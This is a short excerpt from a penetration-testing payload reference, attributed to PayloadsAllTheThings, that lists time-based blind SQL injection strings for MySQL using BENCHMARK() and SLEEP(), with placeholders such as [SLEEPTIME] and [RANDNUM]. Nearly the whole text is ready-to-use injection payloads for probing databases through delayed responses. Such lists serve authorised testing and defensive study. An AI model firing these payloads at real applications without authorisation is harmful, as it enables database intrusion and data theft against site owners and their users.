The following SQL codes will delay the output from MySQL. * MySQL 4/5 : [`BENCHMARK()`](https://dev.mysql.com/doc/refman/8.4/en/select-benchmarking.html) ```sql +BENCHMARK(40000000,SHA1(1337))+ '+BENCHMARK(3200,SHA1(1))+' AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) ``` * MySQL 5: [`SLEEP()`](https://dev.mysql.com/doc/refman/8.4/en/miscellaneous-functions.html#function_sleep) ```sql RLIKE SLEEP([SLEEPTIME]) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR AND SLEEP(10)=0 AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR) ```
Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.